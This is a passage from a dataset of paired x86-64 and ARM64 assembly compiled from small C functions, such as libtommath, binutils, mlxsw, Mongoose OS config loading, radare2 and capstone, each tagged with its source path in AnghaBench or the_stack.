.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x1
mov x20, x0
add x0, sp, #12
bl _mp_init
mov x21, x0
Lloh0:
adrp x22, _MP_OKAY@GOTPAGE
Lloh1:
ldr x22, [x22, _MP_OKAY@GOTPAGEOFF]
ldr w8, [x22]
cmp w0, w8
b.ne LBB0_4
; %bb.1:
mov x0, x20
bl _mp_count_bits
mov x1, x0
add x0, sp, #12
bl _mp_2expt
mov x21, x0
ldr w8, [x22]
cmp w0, w8
b.ne LBB0_3
; %bb.2:
add x0, sp, #12
mov x1, x20
mov x2, x19
bl _s_mp_sub
mov x21, x0
LBB0_3:
add x0, sp, #12
bl _mp_clear
LBB0_4:
mov x0, x21
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _MP_OKAY,4,2 ; @MP_OKAY
.no_dead_strip _mp_reduce_2k_setup_l
.subsections_via_symbols
| AnghaBench/freebsd/contrib/wpa/src/tls/extr_libtommath.c_mp_reduce_2k_setup_l.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function debug_add_to_current_namespace
_debug_add_to_current_namespace: ## @debug_add_to_current_namespace
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
cmpq $0, 16(%rdi)
je LBB0_2
## %bb.1:
movl %ecx, %r8d
movl %edx, %ecx
movq %rsi, %rdx
movq (%rdi), %rsi
testq %rsi, %rsi
je LBB0_2
## %bb.3:
movq 8(%rdi), %rax
testq %rax, %rax
cmovneq %rax, %rsi
popq %rbp
jmp _debug_add_to_namespace ## TAILCALL
LBB0_2:
leaq L_.str(%rip), %rdi
callq __
movl %eax, %edi
callq _debug_error
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "debug_add_to_current_namespace: no current file"
.no_dead_strip _debug_add_to_current_namespace
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function debug_add_to_current_namespace
_debug_add_to_current_namespace: ; @debug_add_to_current_namespace
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr x8, [x0, #16]
cbz x8, LBB0_3
; %bb.1:
ldr x8, [x0]
cbz x8, LBB0_3
; %bb.2:
mov x4, x3
mov x3, x2
mov x2, x1
ldr x9, [x0, #8]
cmp x9, #0
csel x1, x8, x9, eq
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
b _debug_add_to_namespace
LBB0_3:
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl __
bl _debug_error
mov x0, #0
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "debug_add_to_current_namespace: no current file"
.no_dead_strip _debug_add_to_current_namespace
.subsections_via_symbols
| AnghaBench/freebsd/contrib/binutils/binutils/extr_debug.c_debug_add_to_current_namespace.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function mlxsw_reg_slcor_pack
_mlxsw_reg_slcor_pack: ## @mlxsw_reg_slcor_pack
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %ecx, %r12d
movl %edx, %r14d
movl %esi, %r15d
movq %rdi, %rbx
movq _slcor@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq %rbx, %rsi
callq _MLXSW_REG_ZERO
movq %rbx, %rdi
movl %r12d, %esi
callq _mlxsw_reg_slcor_col_set
movq %rbx, %rdi
movl %r15d, %esi
callq _mlxsw_reg_slcor_local_port_set
movq %rbx, %rdi
movl %r14d, %esi
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _mlxsw_reg_slcor_lag_id_set ## TAILCALL
.cfi_endproc
## -- End function
.comm _slcor,4,2 ## @slcor
.no_dead_strip _mlxsw_reg_slcor_pack
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function mlxsw_reg_slcor_pack
_mlxsw_reg_slcor_pack: ; @mlxsw_reg_slcor_pack
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x3
mov x20, x2
mov x21, x1
mov x22, x0
Lloh0:
adrp x8, _slcor@GOTPAGE
Lloh1:
ldr x8, [x8, _slcor@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
mov x1, x22
bl _MLXSW_REG_ZERO
mov x0, x22
mov x1, x19
bl _mlxsw_reg_slcor_col_set
mov x0, x22
mov x1, x21
bl _mlxsw_reg_slcor_local_port_set
mov x0, x22
mov x1, x20
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _mlxsw_reg_slcor_lag_id_set
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _slcor,4,2 ; @slcor
.no_dead_strip _mlxsw_reg_slcor_pack
.subsections_via_symbols
| AnghaBench/linux/drivers/net/ethernet/mellanox/mlxsw/extr_reg.h_mlxsw_reg_slcor_pack.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _cs_read_file ## -- Begin function cs_read_file
.p2align 4, 0x90
_cs_read_file: ## @cs_read_file
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rsi, %r14
movq %rdi, %rbx
leaq L_.str(%rip), %rdi
movq %rbx, %rsi
xorl %eax, %eax
callq _printf
leaq L_.str.1(%rip), %rsi
movq %rbx, %rdi
callq _strcmp
testl %eax, %eax
je LBB0_1
## %bb.2:
leaq L_.str.3(%rip), %rsi
movq %rbx, %rdi
callq _strcmp
testl %eax, %eax
je LBB0_3
## %bb.4:
leaq L_.str.5(%rip), %rsi
movq %rbx, %rdi
callq _strcmp
testl %eax, %eax
je LBB0_6
## %bb.5:
xorl %ebx, %ebx
jmp LBB0_8
LBB0_1:
movq $1287, (%r14) ## imm = 0x507
movl $1288, %edi ## imm = 0x508
callq _malloc
movq %rax, %rbx
leaq L_.str.2(%rip), %rsi
movl $1288, %edx ## imm = 0x508
jmp LBB0_7
LBB0_3:
movq $3300, (%r14) ## imm = 0xCE4
movl $3301, %edi ## imm = 0xCE5
callq _malloc
movq %rax, %rbx
leaq L_.str.4(%rip), %rsi
movl $3301, %edx ## imm = 0xCE5
jmp LBB0_7
LBB0_6:
movq $325, (%r14) ## imm = 0x145
movl $326, %edi ## imm = 0x146
callq _malloc
movq %rax, %rbx
leaq L_.str.6(%rip), %rsi
movl $326, %edx ## imm = 0x146
LBB0_7:
movq %rax, %rdi
callq _memcpy
LBB0_8:
movq %rbx, %rax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "reading '%s'\n"
L_.str.1: ## @.str.1
.asciz "conf_defaults.json"
L_.str.2: ## @.str.2
.asciz "{ \"wifi\": { \"sta\": { \"enable\": false, \"ssid\": \"\", \"pass\": \"\", \"ip\": \"\", \"netmask\": \"\", \"gw\": \"\" }, \"ap\": { \"enable\": true, \"keep_enabled\": true, \"trigger_on_gpio\": -1, \"ssid\": \"Mongoose_??????\", \"pass\": \"Mongoose\", \"hidden\": false, \"channel\": 6, \"max_connections\": 10, \"ip\": \"192.168.4.1\", \"netmask\": \"255.255.255.0\", \"gw\": \"192.168.4.1\", \"dhcp_start\": \"192.168.4.2\", \"dhcp_end\": \"192.168.4.100\" } }, \"http\": { \"enable\": true, \"listen_addr\": \"80\", \"ssl_cert\": \"\", \"ssl_key\": \"\", \"ssl_ca_cert\": \"\", \"upload_acl\": \"*\", \"hidden_files\": \"\", \"tunnel\": { \"enable\": true, \"addr\": \"mongoose.link\" } }, \"console\": { \"mem_buf_size\": 256, \"log_file\": \"console.log\", \"log_file_size\": 2048, \"send_to_cloud\": true }, \"device\": { \"id\": \"hey\", \"password\": \"\" }, \"tls\": { \"ca_file\": \"ca.pem\" }, \"debug\": { \"level\": 5, \"stdout_uart\": 0, \"stderr_uart\": 0, \"enable_prompt\": true, \"factory_reset_gpio\": -1 }, \"sys\": { \"wdt_timeout\": 30 }, \"conf_acl\": \"*\"}"
L_.str.3: ## @.str.3
.asciz "sys_config_schema.json"
L_.str.4: ## @.str.4
.asciz "[[\"wifi\", \"o\", {\"hide\": true}], [\"wifi.sta\", \"o\", {\"title\": \"WiFi Station\"}], [\"wifi.sta.enable\", \"b\", {\"title\": \"Connect to existing WiFi\"}], [\"wifi.sta.ssid\", \"s\", {\"title\": \"SSID\"}], [\"wifi.sta.pass\", \"s\", {\"title\": \"Password\", \"type\": \"password\"}], [\"wifi.sta.ip\", \"s\", {\"title\": \"Static IP Address\"}], [\"wifi.sta.netmask\", \"s\", {\"title\": \"Static Netmask\"}], [\"wifi.sta.gw\", \"s\", {\"title\": \"Static Default Gateway\"}], [\"wifi.ap\", \"o\", {\"title\": \"WiFi Access Point\"}], [\"wifi.ap.enable\", \"b\", {\"title\": \"Enable\"}], [\"wifi.ap.keep_enabled\", \"b\", {\"title\": \"Keep AP enabled when station is on\"}], [\"wifi.ap.trigger_on_gpio\", \"i\", {\"title\": \"Trigger AP on low GPIO\"}], [\"wifi.ap.ssid\", \"s\", {\"title\": \"SSID\"}], [\"wifi.ap.pass\", \"s\", {\"title\": \"Password\", \"type\": \"password\"}], [\"wifi.ap.hidden\", \"b\", {\"title\": \"Hide SSID\"}], [\"wifi.ap.channel\", \"i\", {\"title\": \"Channel\"}], [\"wifi.ap.max_connections\", \"i\", {\"title\": \"Max connections\"}], [\"wifi.ap.ip\", \"s\", {\"title\": \"IP address\"}], [\"wifi.ap.netmask\", \"s\", {\"title\": \"Network Mask\"}], [\"wifi.ap.gw\", \"s\", {\"title\": \"Default Gateway\"}], [\"wifi.ap.dhcp_start\", \"s\", {\"title\": \"DHCP Start Address\"}], [\"wifi.ap.dhcp_end\", \"s\", {\"title\": \"DHCP End Address\"}], [\"http\", \"o\", {\"title\": \"HTTP Server\"}], [\"http.enable\", \"b\", {\"title\": \"Enable HTTP Server\"}], [\"http.listen_addr\", \"s\", {\"title\": \"Listening port / address\"}], [\"http.ssl_cert\", \"s\", {\"title\": \"Turn on SSL on the listener, use this cert\"}], [\"http.ssl_key\", \"s\", {\"title\": \"SSL key to use\"}], [\"http.ssl_ca_cert\", \"s\", {\"title\": \"Verify clients this CA bundle\"}], [\"http.upload_acl\", \"s\", {\"title\": \"Upload file ACL\"}], [\"http.hidden_files\", \"s\", {\"title\": \"Hidden file pattern\"}], [\"http.tunnel\", \"o\", {\"title\": \"Tunnel\"}], [\"http.tunnel.enable\", \"b\", {\"title\": \"Enable HTTP Tunnel\"}], [\"http.tunnel.addr\", \"s\", {\"title\": \"Tunnel will be established at the name-user subdomain of the given address\"}], [\"console\", \"o\", {\"title\": \"Console settings\"}], [\"console.mem_buf_size\", \"i\", {\"title\": \"Memory buffer size\"}], [\"console.log_file\", \"s\", {\"title\": \"Log file name\"}], [\"console.log_file_size\", \"i\", {\"title\": \"Max log file size\"}], [\"console.send_to_cloud\", \"b\", {\"title\": \"Send console output to the cloud\"}], [\"device\", \"o\", {\"title\": \"Device settings\"}], [\"device.id\", \"s\", {\"title\": \"Device ID\"}], [\"device.password\", \"s\", {\"title\": \"Device password\"}], [\"tls\", \"o\", {\"title\": \"TLS settings\"}], [\"tls.ca_file\", \"s\", {\"title\": \"Default TLS CA file\"}], [\"debug\", \"o\", {\"title\": \"Debug Settings\"}], [\"debug.level\", \"i\", {\"title\": \"Level\", \"type\": \"select\", \"values\": [{\"title\": \"NONE\", \"value\": -1}, {\"title\": \"ERROR\", \"value\": 0}, {\"title\": \"WARN\", \"value\": 1}, {\"title\": \"INFO\", \"value\": 2}, {\"title\": \"DEBUG\", \"value\": 3}, {\"title\": \"VERBOSE_DEBUG\", \"value\": 4}]}], [\"debug.stdout_uart\", \"i\", {\"title\": \"STDOUT UART (-1 to disable)\"}], [\"debug.stderr_uart\", \"i\", {\"title\": \"STDERR UART (-1 to disable)\"}], [\"debug.enable_prompt\", \"b\", {\"title\": \"Enable interactive JavaScript prompt on UART0\"}], [\"debug.factory_reset_gpio\", \"i\", {\"title\": \"Factory reset GPIO (low on boot)\"}], [\"sys\", \"o\", {\"title\": \"System settings\"}], [\"sys.wdt_timeout\", \"i\", {\"title\": \"Watchdog timeout (seconds)\"}], [\"conf_acl\", \"s\", {\"title\": \"Conf ACL\"}] ]"
L_.str.5: ## @.str.5
.asciz "mgos_ro_vars_schema.json"
L_.str.6: ## @.str.6
.asciz "[ [\"mac_address\", \"s\", {\"read_only\": true, \"title\": \"MAC address\"}], [\"arch\", \"s\", {\"read_only\": true, \"title\": \"Platform\"}], [\"fw_version\", \"s\", {\"read_only\": true, \"title\": \"FW version\"}], [\"fw_timestamp\", \"s\", {\"read_only\": true, \"title\": \"Build timestamp\"}], [\"fw_id\", \"s\", {\"read_only\": true, \"title\": \"Build ID\"}]]"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _cs_read_file ; -- Begin function cs_read_file
.p2align 2
_cs_read_file: ; @cs_read_file
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
mov x20, x0
str x0, [sp]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _printf
Lloh2:
adrp x1, l_.str.1@PAGE
Lloh3:
add x1, x1, l_.str.1@PAGEOFF
mov x0, x20
bl _strcmp
cbz w0, LBB0_4
; %bb.1:
Lloh4:
adrp x1, l_.str.3@PAGE
Lloh5:
add x1, x1, l_.str.3@PAGEOFF
mov x0, x20
bl _strcmp
cbz w0, LBB0_5
; %bb.2:
Lloh6:
adrp x1, l_.str.5@PAGE
Lloh7:
add x1, x1, l_.str.5@PAGEOFF
mov x0, x20
bl _strcmp
cbz w0, LBB0_6
; %bb.3:
mov x19, #0
b LBB0_8
LBB0_4:
mov w8, #1287
str x8, [x19]
mov w0, #1288
bl _malloc
mov x19, x0
Lloh8:
adrp x1, l_.str.2@PAGE
Lloh9:
add x1, x1, l_.str.2@PAGEOFF
mov w2, #1288
b LBB0_7
LBB0_5:
mov w8, #3300
str x8, [x19]
mov w0, #3301
bl _malloc
mov x19, x0
Lloh10:
adrp x1, l_.str.4@PAGE
Lloh11:
add x1, x1, l_.str.4@PAGEOFF
mov w2, #3301
b LBB0_7
LBB0_6:
mov w8, #325
str x8, [x19]
mov w0, #326
bl _malloc
mov x19, x0
Lloh12:
adrp x1, l_.str.6@PAGE
Lloh13:
add x1, x1, l_.str.6@PAGEOFF
mov w2, #326
LBB0_7:
bl _memcpy
LBB0_8:
mov x0, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh12, Lloh13
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "reading '%s'\n"
l_.str.1: ; @.str.1
.asciz "conf_defaults.json"
l_.str.2: ; @.str.2
.asciz "{ \"wifi\": { \"sta\": { \"enable\": false, \"ssid\": \"\", \"pass\": \"\", \"ip\": \"\", \"netmask\": \"\", \"gw\": \"\" }, \"ap\": { \"enable\": true, \"keep_enabled\": true, \"trigger_on_gpio\": -1, \"ssid\": \"Mongoose_??????\", \"pass\": \"Mongoose\", \"hidden\": false, \"channel\": 6, \"max_connections\": 10, \"ip\": \"192.168.4.1\", \"netmask\": \"255.255.255.0\", \"gw\": \"192.168.4.1\", \"dhcp_start\": \"192.168.4.2\", \"dhcp_end\": \"192.168.4.100\" } }, \"http\": { \"enable\": true, \"listen_addr\": \"80\", \"ssl_cert\": \"\", \"ssl_key\": \"\", \"ssl_ca_cert\": \"\", \"upload_acl\": \"*\", \"hidden_files\": \"\", \"tunnel\": { \"enable\": true, \"addr\": \"mongoose.link\" } }, \"console\": { \"mem_buf_size\": 256, \"log_file\": \"console.log\", \"log_file_size\": 2048, \"send_to_cloud\": true }, \"device\": { \"id\": \"hey\", \"password\": \"\" }, \"tls\": { \"ca_file\": \"ca.pem\" }, \"debug\": { \"level\": 5, \"stdout_uart\": 0, \"stderr_uart\": 0, \"enable_prompt\": true, \"factory_reset_gpio\": -1 }, \"sys\": { \"wdt_timeout\": 30 }, \"conf_acl\": \"*\"}"
l_.str.3: ; @.str.3
.asciz "sys_config_schema.json"
l_.str.4: ; @.str.4
.asciz "[[\"wifi\", \"o\", {\"hide\": true}], [\"wifi.sta\", \"o\", {\"title\": \"WiFi Station\"}], [\"wifi.sta.enable\", \"b\", {\"title\": \"Connect to existing WiFi\"}], [\"wifi.sta.ssid\", \"s\", {\"title\": \"SSID\"}], [\"wifi.sta.pass\", \"s\", {\"title\": \"Password\", \"type\": \"password\"}], [\"wifi.sta.ip\", \"s\", {\"title\": \"Static IP Address\"}], [\"wifi.sta.netmask\", \"s\", {\"title\": \"Static Netmask\"}], [\"wifi.sta.gw\", \"s\", {\"title\": \"Static Default Gateway\"}], [\"wifi.ap\", \"o\", {\"title\": \"WiFi Access Point\"}], [\"wifi.ap.enable\", \"b\", {\"title\": \"Enable\"}], [\"wifi.ap.keep_enabled\", \"b\", {\"title\": \"Keep AP enabled when station is on\"}], [\"wifi.ap.trigger_on_gpio\", \"i\", {\"title\": \"Trigger AP on low GPIO\"}], [\"wifi.ap.ssid\", \"s\", {\"title\": \"SSID\"}], [\"wifi.ap.pass\", \"s\", {\"title\": \"Password\", \"type\": \"password\"}], [\"wifi.ap.hidden\", \"b\", {\"title\": \"Hide SSID\"}], [\"wifi.ap.channel\", \"i\", {\"title\": \"Channel\"}], [\"wifi.ap.max_connections\", \"i\", {\"title\": \"Max connections\"}], [\"wifi.ap.ip\", \"s\", {\"title\": \"IP address\"}], [\"wifi.ap.netmask\", \"s\", {\"title\": \"Network Mask\"}], [\"wifi.ap.gw\", \"s\", {\"title\": \"Default Gateway\"}], [\"wifi.ap.dhcp_start\", \"s\", {\"title\": \"DHCP Start Address\"}], [\"wifi.ap.dhcp_end\", \"s\", {\"title\": \"DHCP End Address\"}], [\"http\", \"o\", {\"title\": \"HTTP Server\"}], [\"http.enable\", \"b\", {\"title\": \"Enable HTTP Server\"}], [\"http.listen_addr\", \"s\", {\"title\": \"Listening port / address\"}], [\"http.ssl_cert\", \"s\", {\"title\": \"Turn on SSL on the listener, use this cert\"}], [\"http.ssl_key\", \"s\", {\"title\": \"SSL key to use\"}], [\"http.ssl_ca_cert\", \"s\", {\"title\": \"Verify clients this CA bundle\"}], [\"http.upload_acl\", \"s\", {\"title\": \"Upload file ACL\"}], [\"http.hidden_files\", \"s\", {\"title\": \"Hidden file pattern\"}], [\"http.tunnel\", \"o\", {\"title\": \"Tunnel\"}], [\"http.tunnel.enable\", \"b\", {\"title\": \"Enable HTTP Tunnel\"}], [\"http.tunnel.addr\", \"s\", {\"title\": \"Tunnel will be established at the name-user subdomain of the given address\"}], [\"console\", \"o\", {\"title\": \"Console settings\"}], [\"console.mem_buf_size\", \"i\", {\"title\": \"Memory buffer size\"}], [\"console.log_file\", \"s\", {\"title\": \"Log file name\"}], [\"console.log_file_size\", \"i\", {\"title\": \"Max log file size\"}], [\"console.send_to_cloud\", \"b\", {\"title\": \"Send console output to the cloud\"}], [\"device\", \"o\", {\"title\": \"Device settings\"}], [\"device.id\", \"s\", {\"title\": \"Device ID\"}], [\"device.password\", \"s\", {\"title\": \"Device password\"}], [\"tls\", \"o\", {\"title\": \"TLS settings\"}], [\"tls.ca_file\", \"s\", {\"title\": \"Default TLS CA file\"}], [\"debug\", \"o\", {\"title\": \"Debug Settings\"}], [\"debug.level\", \"i\", {\"title\": \"Level\", \"type\": \"select\", \"values\": [{\"title\": \"NONE\", \"value\": -1}, {\"title\": \"ERROR\", \"value\": 0}, {\"title\": \"WARN\", \"value\": 1}, {\"title\": \"INFO\", \"value\": 2}, {\"title\": \"DEBUG\", \"value\": 3}, {\"title\": \"VERBOSE_DEBUG\", \"value\": 4}]}], [\"debug.stdout_uart\", \"i\", {\"title\": \"STDOUT UART (-1 to disable)\"}], [\"debug.stderr_uart\", \"i\", {\"title\": \"STDERR UART (-1 to disable)\"}], [\"debug.enable_prompt\", \"b\", {\"title\": \"Enable interactive JavaScript prompt on UART0\"}], [\"debug.factory_reset_gpio\", \"i\", {\"title\": \"Factory reset GPIO (low on boot)\"}], [\"sys\", \"o\", {\"title\": \"System settings\"}], [\"sys.wdt_timeout\", \"i\", {\"title\": \"Watchdog timeout (seconds)\"}], [\"conf_acl\", \"s\", {\"title\": \"Conf ACL\"}] ]"
l_.str.5: ; @.str.5
.asciz "mgos_ro_vars_schema.json"
l_.str.6: ; @.str.6
.asciz "[ [\"mac_address\", \"s\", {\"read_only\": true, \"title\": \"MAC address\"}], [\"arch\", \"s\", {\"read_only\": true, \"title\": \"Platform\"}], [\"fw_version\", \"s\", {\"read_only\": true, \"title\": \"FW version\"}], [\"fw_timestamp\", \"s\", {\"read_only\": true, \"title\": \"Build timestamp\"}], [\"fw_id\", \"s\", {\"read_only\": true, \"title\": \"Build ID\"}]]"
.subsections_via_symbols
| the_stack_data/36074042.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function toup
_toup: ## @toup
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## kill: def $edi killed $edi def $rdi
leal -97(%rdi), %ecx
leal -32(%rdi), %eax
cmpl $26, %ecx
cmovael %edi, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _toup
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function toup
_toup: ; @toup
.cfi_startproc
; %bb.0:
sub w8, w0, #97
sub w9, w0, #32
cmp w8, #26
csel w0, w9, w0, lo
ret
.cfi_endproc
; -- End function
.no_dead_strip _toup
.subsections_via_symbols
| AnghaBench/radare2/shlr/tcc/extr_tcc.h_toup.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function sort__sym_from_cmp
_sort__sym_from_cmp: ## @sort__sym_from_cmp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq 8(%rdi), %rcx
movq 8(%rsi), %r9
movl 4(%rcx), %eax
movl 4(%r9), %r8d
movl %eax, %edx
orl %r8d, %edx
jne LBB0_2
## %bb.1:
movq (%rsi), %rax
subq (%rdi), %rax
popq %rbp
retq
LBB0_2:
movl (%rcx), %edx
movl (%r9), %ecx
movl %eax, %edi
movl %r8d, %esi
popq %rbp
jmp __sort__sym_cmp ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _sort__sym_from_cmp
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function sort__sym_from_cmp
_sort__sym_from_cmp: ; @sort__sym_from_cmp
.cfi_startproc
; %bb.0:
mov x9, x1
mov x8, x0
ldr x10, [x0, #8]
ldr x11, [x1, #8]
ldr w0, [x10, #4]
ldr w1, [x11, #4]
orr w12, w0, w1
cbnz w12, LBB0_2
; %bb.1:
ldr x9, [x9]
ldr x8, [x8]
sub x0, x9, x8
ret
LBB0_2:
ldr w2, [x10]
ldr w3, [x11]
b __sort__sym_cmp
.cfi_endproc
; -- End function
.no_dead_strip _sort__sym_from_cmp
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/tools/perf/util/extr_sort.c_sort__sym_from_cmp.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function d68000_and_er_16
_d68000_and_er_16: ## @d68000_and_er_16
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _M68K_INS_AND@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl $2, %edx
popq %rbp
jmp _build_er_1 ## TAILCALL
.cfi_endproc
## -- End function
.comm _M68K_INS_AND,4,2 ## @M68K_INS_AND
.no_dead_strip _d68000_and_er_16
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function d68000_and_er_16
_d68000_and_er_16: ; @d68000_and_er_16
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _M68K_INS_AND@GOTPAGE
Lloh1:
ldr x8, [x8, _M68K_INS_AND@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
mov w2, #2
b _build_er_1
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _M68K_INS_AND,4,2 ; @M68K_INS_AND
.no_dead_strip _d68000_and_er_16
.subsections_via_symbols
| AnghaBench/capstone/arch/M68K/extr_M68KDisassembler.c_d68000_and_er_16.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test ## -- Begin function test
.p2align 4, 0x90
_test: ## @test
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test ; -- Begin function test
.p2align 2
_test: ; @test
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| the_stack_data/447177.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $680, %rsp ## imm = 0x2A8
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
leaq L_.str(%rip), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, %rbx
leaq L_.str.2(%rip), %rsi
leaq -676(%rbp), %rdx
leaq -684(%rbp), %rcx
movq %rax, %rdi
xorl %eax, %eax
callq _fscanf
movq %rsp, -720(%rbp) ## 8-byte Spill
movl -676(%rbp), %eax
imulq $616, %rax, %rax ## imm = 0x268
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq %rsp, -696(%rbp) ## 8-byte Spill
subq $8, %rsp
leaq -712(%rbp), %r10
